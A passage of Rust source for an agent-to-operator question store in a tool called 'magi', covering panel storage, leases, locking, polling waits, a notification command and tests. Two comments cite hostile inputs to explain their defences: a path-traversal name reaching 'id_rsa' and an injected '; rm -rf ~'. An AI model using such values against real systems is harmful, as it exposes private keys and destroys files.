    /// written, and the panel is then assembled in a scratch directory and
    /// swapped in. So a refusal leaves the previous panel intact, and a
    /// success replaces it *wholesale* rather than merging: a re-asked
    /// question showing one attempt's diff next to another attempt's table
    /// would be a panel neither agent ever wrote.
    ///
    /// [`put`]: Questions::put
    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
        if !valid_asset_name(&q.id) {
            bail!(
                "question id `{}` is not a name magi will build a panel path from",
                q.id
            );
        }
        if html.trim().is_empty() {
            bail!(
                "question {} was handed an empty panel; an empty frame reads to \
                 the owner as \"the agent had nothing to say\", which is a lie",
                q.short()
            );
        }

        // Names, then sizes, then writing - in that order, so nothing below
        // can leave a partial panel on disk.
        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
        for src in assets {
            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
            if !valid_asset_name(name) {
                bail!(
                    "panel asset `{}` cannot be stored: a panel file name must \
                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
                    src.display()
                );
            }
            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
                bail!(
                    "two panel assets are both named `{name}` - {} and {} - and \
                     the panel can only show one of them; rename one at the source",
                    first.display(),
                    src.display()
                );
            }
            named.push((name.to_owned(), src.as_path()));
        }

        let mut total = html.len() as u64;
        for (_, src) in &named {
            let meta = std::fs::metadata(src)
                .with_context(|| format!("stat panel asset {}", src.display()))?;
            if !meta.is_file() {
                bail!(
                    "panel asset `{}` is not a file; a panel is html plus files \
                     copied beside it",
                    src.display()
                );
            }
            total = total.saturating_add(meta.len());
        }
        if total > PANEL_MAX_BYTES {
            bail!(
                "panel for question {} is {total} bytes, over magi's cap of \
                 {PANEL_MAX_BYTES} bytes; nothing was written",
                q.short()
            );
        }

        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
        let dir = self.panel_dir(&q.id);
        std::fs::create_dir_all(&self.root)
            .with_context(|| format!("create {}", self.root.display()))?;
        clear_dir(&tmp)?;
        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
        if let Err(e) = fill_panel(&tmp, html, &named) {
            // A copy that dies halfway must not become the panel, and must not
            // leave scratch behind for the next call to inherit.
            let _ = std::fs::remove_dir_all(&tmp);
            return Err(e);
        }
        clear_dir(&dir)?;
        std::fs::rename(&tmp, &dir)
            .with_context(|| format!("move panel into {}", dir.display()))?;

        q.panel = true;
        q.assets = named.into_iter().map(|(n, _)| n).collect();
        q.assets.sort_unstable();
        Ok(())
    }

    /// The panel's html, or `None` when the question has no panel.
    ///
    /// `None` rather than an error for a missing panel because the caller is a
    /// web handler whose answer is 404 either way, and an unreadable panel is
    /// not a reason to fail the question it belongs to.
    pub fn panel_html(&self, id: &str) -> Option<String> {
        if !valid_asset_name(id) {
            return None;
        }
        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
    }

    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
    /// not a name a panel file can have".
    ///
    /// Rejects a name failing [`valid_asset_name`] **before touching the
    /// filesystem**, which is the whole point of the second check: the name
    /// arrives from a URL, the directory is on disk where any process could
    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
    /// operating system would resolve perfectly happily. The two callers'
    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
    /// `Result<Option<_>>` rather than one flattened `Option`.
    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
        if !valid_asset_name(name) {
            bail!(
                "`{name}` is not a panel file name; it must match \
                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
            );
        }
        if !valid_asset_name(id) {
            return Ok(None);
        }
        let dir = self.panel_dir(id);
        if !dir.is_dir() {
            return Ok(None);
        }
        let path = dir.join(name);
        match std::fs::read(&path) {
            Ok(bytes) => Ok(Some(bytes)),
            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
        }
    }

    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
    ///
    /// Succeeds when there is nothing to delete, so a caller cleaning up does
    /// not have to know whether a panel was ever written. The question record
    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
    /// in the same order as everywhere else here.
    ///
    /// [`put_panel`]: Questions::put_panel
    pub fn drop_panel(&self, id: &str) -> Result<()> {
        if !valid_asset_name(id) {
            bail!("question id `{id}` is not a name magi will build a panel path from");
        }
        clear_dir(&self.panel_dir(id))?;
        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
    }

    /// Path of the lease sidecar for one question id.
    pub fn lease_path(&self, id: &str) -> PathBuf {
        self.root.join(format!("{id}.lease"))
    }

    /// The lease on a question, if a readable one exists.
    pub fn read_lease(&self, id: &str) -> Option<Lease> {
        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
        serde_json::from_str(&body).ok()
    }

    /// Say, as `kind`, that something is alive and waiting on this question.
    ///
    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
    /// a reason to abandon a wait - the worst it costs is the waiter deciding
    /// the holder is gone a little early, and that is what the delivery guard
    /// (the seat still being busy) is there for.
    pub fn beat(&self, id: &str, kind: WaiterKind) {
        let lease = Lease {
            kind,
            pid: std::process::id(),
            beat_at: Timestamp::now(),
        };
        let path = self.lease_path(id);
        let tmp = path.with_extension("lease.tmp");
        let written = std::fs::create_dir_all(&self.root)
            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
            .and_then(|()| std::fs::rename(&tmp, &path));
        if let Err(e) = written {
            tracing::debug!("could not beat the lease on question {id}: {e}");
        }
    }

    /// Remove the lease sidecar. Absent is fine.
    pub fn drop_lease(&self, id: &str) {
        let _ = std::fs::remove_file(self.lease_path(id));
    }

    /// Read-modify-write one question under a short exclusive lock, so the
    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
    /// each other with a copy that predates the others.
    ///
    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
    /// a torn file and does nothing for two writers that both read the same
    /// version first. Everything that changes a question that can still be
    /// answered goes through here: `f` sees the current record, not one loaded
    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
    /// mid-update and is broken.
    pub fn update<T>(
        &self,
        id: &str,
        f: impl FnOnce(&mut Question) -> Result<T>,
    ) -> Result<(Question, T)> {
        std::fs::create_dir_all(&self.root)
            .with_context(|| format!("create {}", self.root.display()))?;
        let lock = self.root.join(format!("{id}.lock"));
        let started = std::time::Instant::now();
        loop {
            match std::fs::OpenOptions::new()
                .write(true)
                .create_new(true)
                .open(&lock)
            {
                Ok(_) => break,
                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
                    let stale = std::fs::metadata(&lock)
                        .and_then(|m| m.modified())
                        .ok()
                        .and_then(|t| t.elapsed().ok())
                        .is_some_and(|age| age > LOCK_STALE);
                    if stale {
                        let _ = std::fs::remove_file(&lock);
                    } else if started.elapsed() > LOCK_STALE {
                        bail!("could not lock question {id}");
                    } else {
                        std::thread::sleep(Duration::from_millis(15));
                    }
                }
                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
            }
        }
        struct Unlock(PathBuf);
        impl Drop for Unlock {
            fn drop(&mut self) {
                let _ = std::fs::remove_file(&self.0);
            }
        }
        let _guard = Unlock(lock);
        let mut q = read_path(&self.path_of(id))?;
        let out = f(&mut q)?;
        self.put(&mut q)?;
        Ok((q, out))
    }

    /// Write a question, atomically, so a process killed mid-write leaves the
    /// previous state readable rather than a truncated file that would strand
    /// the run waiting on it.
    pub fn put(&self, q: &mut Question) -> Result<()> {
        std::fs::create_dir_all(&self.root)
            .with_context(|| format!("create {}", self.root.display()))?;
        let body = serde_json::to_string_pretty(q).context("serialize question")?;
        let path = self.path_of(&q.id);
        let tmp = path.with_extension("json.tmp");
        let is_new = !path.exists();
        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
        // A first write of an open question pages the operator, so a separate
        // notification about the same task or run is now a second page.
        if is_new
            && q.status.open()
            && q.node != crate::bump::NOTICE_NODE
            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
        {
            crate::notices::quiet_for(home, q);
        }
        Ok(())
    }

    /// Load a question by id or unambiguous id prefix.
    pub fn get(&self, id: &str) -> Result<Question> {
        let resolved = self.resolve_id(id)?;
        read_path(&self.path_of(&resolved))
    }

    /// Every question on disk: open first, then newest first.
    ///
    /// Open first because that ordering is the product - the list exists to
    /// show the operator what has stopped, and an answered question is history
    /// underneath it. Unreadable files are skipped rather than fatal: one
    /// corrupt question must not take the web UI down, and must certainly not
    /// hide the open question the operator was looking for.
    pub fn list(&self) -> Vec<Question> {
        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
            .into_iter()
            .flatten()
            .flatten()
            .map(|e| e.path())
            .filter(|p| p.extension().is_some_and(|x| x == "json"))
            .filter_map(|p| read_path(&p).ok())
            .collect();
        all.sort_unstable_by(|a, b| {
            let rank = |q: &Question| u8::from(!q.status.open());
            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
        });
        all
    }

    /// Open questions belonging to one run, newest first.
    ///
    /// Used to decide whether a parked run can be resumed: while this is
    /// non-empty, nothing about the run has changed and no agent should be
    /// spawned for it.
    pub fn open_for(&self, run: &str) -> Vec<Question> {
        self.list()
            .into_iter()
            .filter(|q| q.status.open() && q.run == run)
            .collect()
    }

    /// Abandon every open question belonging to a run, and report how many.
    ///
    /// Called when a run's record is deleted. The agent that asked died with
    /// the run, so there is nobody left to hand an answer to, and a question
    /// left open would keep asking the operator for a decision that can no
    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
    /// イルが見つかりません" with two buttons, for a run whose directory had
    /// been gone for two hours.
    ///
    /// Abandoned rather than deleted, because [`Question::abandon`] already
    /// means "this can no longer be answered" and the record of having asked
    /// is worth keeping. Answered questions are left exactly as they are.
    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
        let mut abandoned = 0;
        for mut q in self.open_for(run) {
            q.abandon(why);
            self.put(&mut q)?;
            abandoned += 1;
        }
        Ok(abandoned)
    }

    /// Abandon a run's open questions once `status` says the run is not
    /// coming back, worded with what it actually became.
    ///
    /// The run-deleted case above and this one are the same fact - nobody is
    /// left to read an answer - reached by two different doors. This is the
    /// one for a run that finished on its own: merged, reached `Ready` with
    /// nothing left to do, failed outright with no established point to
    /// resume from, or every candidate agreed, with evidence, that nothing
    /// belonged in the worktree. Those are exactly the statuses
    /// [`RunStatus::resumable`]
    /// excludes, and that is the line this draws too - deliberately not
    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
    /// over. Both of those can still be picked back up with the candidates,
    /// the review round and the seat sessions already on disk, so a question
    /// asked mid-round may yet get a real answer from a real resume, and
    /// folding it here would be exactly the mistake this function exists to
    /// avoid on the other side - answering back into a run that no longer
    /// exists to read it.
    ///
    /// A no-op, not an error, when `status` is still resumable or when there
    /// was nothing open to begin with - callers reach this from more than one
    /// place a run can settle, and a second call finding nothing left to
    /// abandon is the expected case, not a bug.
    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
        if status.resumable() {
            return Ok(0);
        }
        let why = format!(
            "run {run} {}, so nothing is waiting for this answer",
            status.as_str()
        );
        // A post-merge notice is the exception: it is filed *because* the run
        // merged, and no agent waits on it - it is a to-do for the owner, not
        // a question a dead seat asked. Abandoning it here would erase the
        // only alert the moment the run settles.
        let mut abandoned = 0;
        for mut q in self.open_for(run) {
            if q.node == crate::bump::NOTICE_NODE {
                continue;
            }
            q.abandon(&why);
            self.put(&mut q)?;
            abandoned += 1;
        }
        Ok(abandoned)
    }

    /// Expand an id prefix to exactly one question id. The short id the phone
    /// and the reports show is a suffix, so that is accepted too.
    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
        if self.path_of(prefix).is_file() {
            return Ok(prefix.to_owned());
        }
        let hits: Vec<String> = self
            .list()
            .into_iter()
            .map(|q| q.id)
            .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
            .collect();
        match hits.len() {
            1 => Ok(hits.into_iter().next().expect("exactly one hit")),
            0 => bail!("no question matches `{prefix}`"),
            _ => bail!(
                "`{prefix}` matches {} questions: {}",
                hits.len(),
                hits.join(", ")
            ),
        }
    }

    /// Newest modification time in the store, in milliseconds, for change
    /// detection. The web UI compares this instead of re-reading every
    /// question, so an idle phone on a slow link costs one `stat` per file.
    pub fn revision(&self) -> u64 {
        std::fs::read_dir(&self.root)
            .into_iter()
            .flatten()
            .flatten()
            .filter_map(|e| e.metadata().ok())
            .filter_map(|m| m.modified().ok())
            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
            .map(|d| d.as_millis() as u64)
            .max()
            .unwrap_or(0)
    }

    /// How many questions are open, whichever side of the conversation is
    /// holding the ball right now. Ten turns of back and forth between the
    /// owner and the agent are still one open question - see
    /// [`Question::say`] - so this does not drop while a reply is in
    /// flight. [`Self::count_needs_owner`] is the number that does.
    pub fn count_open(&self) -> usize {
        self.list().iter().filter(|q| q.status.open()).count()
    }

    /// How many open questions actually need the owner right now: open, and
    /// not [`Question::waiting_on_agent`].
    ///
    /// This is the number a notification channel owes - the ask bar, the nav
    /// badge, the document title - because those exist to say "something
    /// needs you", and a question sitting in `magi ask --thread` limbo does
    /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
    /// where a round trip must not look like the run resumed.
    pub fn count_needs_owner(&self) -> usize {
        self.list()
            .iter()
            .filter(|q| q.status.open() && !q.waiting_on_agent())
            .count()
    }
}

/// How a wait over [`Question`] ended.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Wait {
    /// The owner decided. Carries [`Question::resolution`].
    Answered(String),
    /// The owner spoke back without deciding - see [`Question::say`]. The
    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
    /// the caller's move is to hand this text to the agent and let it call
    /// `magi ask --thread` to keep talking, not to treat it as a decision.
    Replied(String),
    /// This call's [`WAIT_SLICE`] ran out with the question still
    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
    /// going quiet, the clock on *this process* running out. The question is
    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
    /// process, so the wait resumes before the shell tool that would have
    /// killed this one gets the chance.
    Pending,
    /// Nobody said anything before the deadline, or the question was closed
    /// out from under the wait with no decision recorded - a run deleted out
    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
    /// now on disk.
    Abandoned,
}

/// File a question and wait for the owner, polling the store.
///
/// The question is updated in place from disk whenever the wait ends, so the
/// caller can act on it without re-reading it. `timeout` is the question's
/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
/// of it - see [`Wait::Pending`] for what happens to the rest.
pub async fn ask_and_wait(
    q: &mut Question,
    store: &Questions,
    notify: &config::Notify,
    timeout: Duration,
) -> Result<Wait> {
    wait_for_owner(q, store, notify, timeout, POLL).await
}

/// Resume a wait already filed, without adding a turn or notifying again.
///
/// This is `magi ask --wait <id>`'s engine: the process that owned the
/// previous slice is dead (the tool that ran it killed it, or it simply
/// exited after reporting [`Wait::Pending`]), but the question on disk never
/// stopped being open, and the owner was already notified about it once. A
/// second notification for the same unanswered question would page the
/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
/// unlike [`ask_and_wait`], this skips straight to polling.
///
/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
/// caller computes it as what remains until [`Question::asked_at`] plus the
/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
/// up the deadline the first ask set, never push it out further.
pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
}

/// [`ask_and_wait`] with the poll interval injected.
///
/// Separate only so the tests can drive a whole wait in milliseconds instead of
/// sleeping through [`POLL`]; production has exactly one interval, and it is not
/// a knob the operator gets to tune.
async fn wait_for_owner(
    q: &mut Question,
    store: &Questions,
    cfg: &config::Notify,
    timeout: Duration,
    poll: Duration,
) -> Result<Wait> {
    // A question that is already on disk (a `--thread` reply just wrote it under
    // the lock) is left alone: this copy may predate an answer or say that
    // landed since, and writing it back would erase that.
    if !store.path_of(&q.id).is_file() {
        store.put(q).context("file the question")?;
    }
    if q.should_notify(Timestamp::now()) {
        if let Err(e) = notify(cfg, q).await {
            // A broken webhook is not a reason to throw away an implementation.
            // The question is already on disk and the web UI already shows it,
            // so the operator still has a way in; only the tap on the shoulder
            // is lost.
            tracing::warn!(
                "could not notify about question {}: {e:#} - the web UI is the \
                 only surface for it now",
                q.short()
            );
        }
    }
    tracing::info!(
        "question {} from {} is waiting for you: {}",
        q.short(),
        q.seat,
        q.summary
    );
    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
}

/// Take the wait as this process: beat the lease and note it on the record.
fn hold(store: &Questions, id: &str) {
    store.beat(id, WaiterKind::Asker);
    let took = store.update(id, |q| {
        if q.status.open() {
            q.waiter = Some(Waiter {
                kind: WaiterKind::Asker,
                since: Timestamp::now(),
            });
        }
        Ok(())
    });
    if let Err(e) = took {
        tracing::debug!("could not note the wait on question {id}: {e:#}");
    }
}

/// Record that the agent has read everything so far, so the daemon waiter does
/// not resume a session to tell it what was already printed.
///
/// Callers must invoke this only **after** the word reached the agent's stdout:
/// marking first would let a tool timeout kill the process between the mark
/// and the print, and the waiter would then consider a word delivered that no
/// agent ever saw.
pub fn hand_over(store: &Questions, q: &mut Question) {
    let done = store.update(&q.id, |r| {
        r.delivered_turns = r.delivered_turns.max(q.thread.len());
        if r.status == QuestionStatus::Answered {
            r.answer_delivered = true;
        }
        r.waiter = None;
        Ok(())
    });
    match done {
        Ok((fresh, ())) => *q = fresh,
        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
    }
}

/// The polling loop shared by a fresh wait and a resumed one.
///
/// `timeout` is the budget left before the question's `answer_timeout`
/// truly runs out; `slice` bounds how much of that this one call spends
/// before handing control back. Landing on `slice` while `timeout` still has
/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
/// silence. Landing on `timeout` itself - because it was no bigger than
/// `slice` to begin with - is the real thing, and abandons the question
/// exactly as a single unsliced wait always did.
async fn wait_loop(
    q: &mut Question,
    store: &Questions,
    timeout: Duration,
    slice: Duration,
    poll: Duration,
) -> Result<Wait> {
    // The owner may already have spoken back before this call ever started -
    // most often because they did so in the gap between an earlier call
    // reporting `Wait::Pending` and this one picking the wait back up with
    // `--wait`. That word must surface at once rather than sit unnoticed
    // until some *later* turn happens to change something: this call never
    // saw it get added, so nothing below would otherwise recognise it as
    // new. `last_word_awaiting_reply` reads the question's own record of
    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
    // turn count this call would have to have been there to capture.
    if let Some(said) = q.unread_from_owner() {
        return Ok(Wait::Replied(said));
    }
    hold(store, &q.id);

    let bounded = timeout.min(slice);
    let is_the_real_deadline = bounded >= timeout;
    let deadline = tokio::time::Instant::now() + bounded;
    loop {
        let now = tokio::time::Instant::now();
        if now >= deadline {
            if !is_the_real_deadline {
                // The lease is left to age out on purpose: the caller is about
                // to run `magi ask --wait`, and that gap is what LEASE_TTL
                // covers.
                return Ok(Wait::Pending);
            }
            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
            // Re-checked on the record as it is now: the owner may have said
            // something in time since the last poll, and that word is handed
            // over, not abandoned.
            let (fresh, unread) = store
                .update(&q.id, |r| {
                    let unread = r.unread_from_owner();
                    if unread.is_none() {
                        r.abandon(&why);
                        r.waiter = None;
                    }
                    Ok(unread)
                })
                .context("record the abandoned question")?;
            *q = fresh;
            if let Some(said) = unread {
                return Ok(Wait::Replied(said));
            }
            tracing::warn!(
                "question {} went unanswered for {}s; the run parks and the \
                 question stays as the record of it",
                q.short(),
                timeout.as_secs()
            );
            return Ok(Wait::Abandoned);
        }
        tokio::time::sleep(poll.min(deadline - now)).await;
        store.beat(&q.id, WaiterKind::Asker);
        match store.get(&q.id) {
            Ok(fresh) if !fresh.status.open() => {
                // Whoever answered - the phone, `magi answer`, another daemon -
                // owns the record now, so adopt theirs wholesale rather than
                // merging into a copy that predates it.
                *q = fresh;
                return Ok(match q.resolution() {
                    Some(a) => Wait::Answered(a),
                    // Closed with no decision - abandoned elsewhere, most
                    // often by the run behind it being deleted mid-wait.
                    None => Wait::Abandoned,
                });
            }
            Ok(fresh) => {
                if let Some(said) = fresh.unread_from_owner() {
                    *q = fresh;
                    return Ok(Wait::Replied(said));
                }
                // Still open and not waiting on the agent - nothing this
                // wait cares about happened, so keep polling.
            }
            Err(e) => {
                // Mid-rename, or a file the operator is editing by hand.
                // Neither is a reason to abandon a question a human may still
                // answer, so keep polling until the deadline decides.
                tracing::debug!("could not re-read question {}: {e:#}", q.short());
            }
        }
    }
}

/// Run the operator's notification command, if one is configured.
///
/// The command is argv, never a shell string, and the substitutions below are a
/// single pass over each argument: a summary containing `; rm -rf ~` is one
/// argument to one program, and a summary containing the characters `{run}` is
/// not re-expanded. That property is the reason agent-authored text can be put
/// in a notification at all.
///
/// An error here is reported, not swallowed, so `magi notify --test` can show
/// the operator why nothing arrives. The waiting path logs it and carries on.
pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
    notify_text(cmd, &q.run, &q.summary).await
}

/// [`notify`] for an event that is not a question: the same command, the same
/// placeholders, with `summary` and `run` supplied directly.
pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
    let Some((program, args)) = cmd.command.split_first() else {
        // No command configured: the web UI is the only surface, by choice.
        return Ok(());
    };
    let url = web_url();
    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
        tracing::warn!(
            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
             so the link will be empty - export it next to `magi serve` with \
             the address `magi web --open` printed"
        );
    }
    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
    tracing::debug!(program = %program, args = ?argv, "notifying");

    let mut child = tokio::process::Command::new(program);
    child.quiet();
    child
        .args(&argv)
        .stdin(std::process::Stdio::null())
        // Killed if the timeout below drops this future: a notification
        // command left running would outlive the run it was announcing.
        .kill_on_drop(true);
    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
        Err(_) => bail!(
            "notification command `{program}` did not finish within {}s",
            NOTIFY_TIMEOUT.as_secs()
        ),
    };
    if !out.status.success() {
        let stderr = String::from_utf8_lossy(&out.stderr);
        let why = stderr
            .lines()
            .rev()
            .find(|l| !l.trim().is_empty())
            .unwrap_or("no output on stderr")
            .trim();
        bail!(
            "notification command `{program}` exited with {}: {why}",
            out.status
        );
    }
    Ok(())
}

/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
///
/// One left-to-right pass, so a substituted value is never scanned for further
/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
/// in a question must not make the notification recursive.
fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
    let mut out = String::with_capacity(template.len());
    let mut rest = template;
    while let Some(at) = rest.find('{') {
        out.push_str(&rest[..at]);
        let tail = &rest[at..];
        match table.iter().find(|(token, _)| tail.starts_with(token)) {
            Some((token, value)) => {
                out.push_str(value);
                rest = &tail[token.len()..];
            }
            None => {
                // Not a placeholder magi knows: it is the operator's own text.
                out.push('{');
                rest = &tail[1..];
            }
        }
    }
    out.push_str(rest);
    out
}

/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
fn web_url() -> String {
    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
}

/// Point a configured base URL at the view that can answer the question.
///
/// A notification the operator has to navigate from is a question that stays
/// unanswered until morning, so the questions view is appended - unless the
/// operator already wrote a fragment, in which case they have said where they
/// want to land and magi does not know better.
fn question_url(base: &str) -> String {
    let base = base.trim().trim_end_matches('/');
    if base.is_empty() || base.contains('#') {
        return base.to_owned();
    }
    format!("{base}/#/questions")
}

/// Assemble a panel's contents in an already-empty directory.
///
/// Split out so [`Questions::put_panel`] can delete the whole directory on the
/// first error without an early `return` skipping that cleanup.
fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
    let index = dir.join(PANEL_HTML);
    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
    for (name, src) in assets {
        let dst = dir.join(name);
        std::fs::copy(src, &dst)
            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
    }
    Ok(())
}

/// Remove a directory and everything under it, treating "not there" as done.
///
/// A panel is replaced wholesale and dropped idempotently, and in both cases
/// the absence of the directory is the desired end state, not an error.
fn clear_dir(path: &Path) -> Result<()> {
    match std::fs::remove_dir_all(path) {
        Ok(()) => Ok(()),
        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
    }
}

fn read_path(path: &Path) -> Result<Question> {
    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
    let q: Question =
        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
    if q.schema > SCHEMA {
        // Strictly newer, not merely different: every field added since
        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
        // here as "no thread yet" rather than as garbage. Only a schema this
        // build has never heard of is refused.
        bail!(
            "question {} was written by a newer magi (schema {}, this build \
             only speaks up to {SCHEMA})",
            q.id,
            q.schema
        );
    }
    Ok(q)
}

/// [`short`] for callers outside this module (a run id shortens the same way).
pub fn short_id(id: &str) -> &str {
    short(id)
}

fn short(id: &str) -> &str {
    id.split('-').next_back().unwrap_or(id)
}

fn new_id() -> String {
    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
    let seed = crate::rng::entropy();
    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
}

#[cfg(test)]
mod tests {
    use super::*;

    /// A store of its own, with no process-global state - which is the point of
    /// `Questions::at`, and why these can run in parallel.
    fn store() -> (tempfile::TempDir, Questions) {
        let dir = tempfile::tempdir().unwrap();
        let s = Questions::at(dir.path().join("questions"));
        (dir, s)
    }

    #[test]
    fn deleting_a_run_stops_its_questions_asking() {
        let (_dir, store) = store();

        let mut open_one = choice_question();
        store.put(&mut open_one).unwrap();
        let mut answered = free_question();
        answered
            .answer(Answer::Text("keep this".to_owned()))
            .unwrap();
        store.put(&mut answered).unwrap();
        let mut elsewhere = choice_question();
        elsewhere.run = "20260903-105039-3cbf".to_owned();
        store.put(&mut elsewhere).unwrap();

        let n = store
            .abandon_for_run(&open_one.run, "run was deleted")
            .unwrap();
        assert_eq!(n, 1, "only the open question of that run");

        let back = store.get(&open_one.id).unwrap();
        assert!(!back.status.open(), "it no longer asks for a decision");
        assert!(
            back.detail.contains("run was deleted"),
            "the operator can see why: {}",
            back.detail
        );

        let kept = store.get(&answered.id).unwrap();
        assert_eq!(
            kept.status,
            QuestionStatus::Answered,
            "an answered question is a decision on record, not something to revoke"
        );
        assert!(
            store.get(&elsewhere.id).unwrap().status.open(),
            "another run's question is untouched"
        );
        assert!(store.open_for(&open_one.run).is_empty());
    }

    #[test]
    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
        let (_dir, store) = store();
        let mut q = choice_question();
        store.put(&mut q).unwrap();

        // `Blocked` can still be resumed - leave it exactly as it was.
        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
        assert_eq!(n, 0);
        assert!(store.get(&q.id).unwrap().status.open());

        // `Failed` is not - abandon it, with the run and its fate in the
        // reason so the owner can tell what happened without a run to read.
        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
        assert_eq!(n, 1);
        let back = store.get(&q.id).unwrap();
        assert!(!back.status.open());
        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));

        // A second call against the same, now-settled run finds nothing left.
        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
    }

    fn choice_question() -> Question {
        Question::new(
            "20260902-201256-9fb7".to_owned(),
            "implement".to_owned(),
            "impl-A".to_owned(),
            "Which storage backend should the cache use?".to_owned(),
            "Both are already dependencies.".to_owned(),
            vec!["SQLite".to_owned(), "Redis".to_owned()],
        )
    }

    fn free_question() -> Question {
        Question::new(
            "20260902-201256-9fb7".to_owned(),
            "review".to_owned(),
            "rev-1".to_owned(),
            "What should the error message say?".to_owned(),
            String::new(),
            Vec::new(),
        )
    }

    /// No notification, which is the default and what most of these want.
    fn quiet() -> config::Notify {
        config::Notify::default()
    }

    #[test]
    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
        // The front end parses these names by hand; there is no shared schema
        // and no compiler between the two. A rename here is a UI that shows an
        // empty card and reports no error, so the names are asserted literally.
        let mut q = choice_question();
        q.id = "20260902-231501-ab12".to_owned();
        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
        // `serde_json::Value` holds an object's keys sorted, and key order
        // means nothing to a JSON reader anyway: the field *set* is what the
        // front end was written against, so that is what is pinned here.
        let keys: Vec<&str> = open
            .as_object()
            .unwrap()
            .keys()
            .map(String::as_str)
            .collect();
        assert_eq!(
            keys,
            [
                "actions",
                "answer",
                "answer_delivered",
                "answer_timeout",
                "answered_at",
                "asked_at",
                "assets",
                "choices",
                "cwd",
                "delivered_turns",
                "deputy",
                "detail",
                "id",
                "node",
                "panel",
                "run",
                "schema",
                "seat",
                "status",
                "summary",
                "thread",
                "waiter",
            ],
            "the on-disk field set is a contract with the front end"
        );
        assert_eq!(open["schema"], 5);
        assert_eq!(open["thread"], serde_json::json!([]));
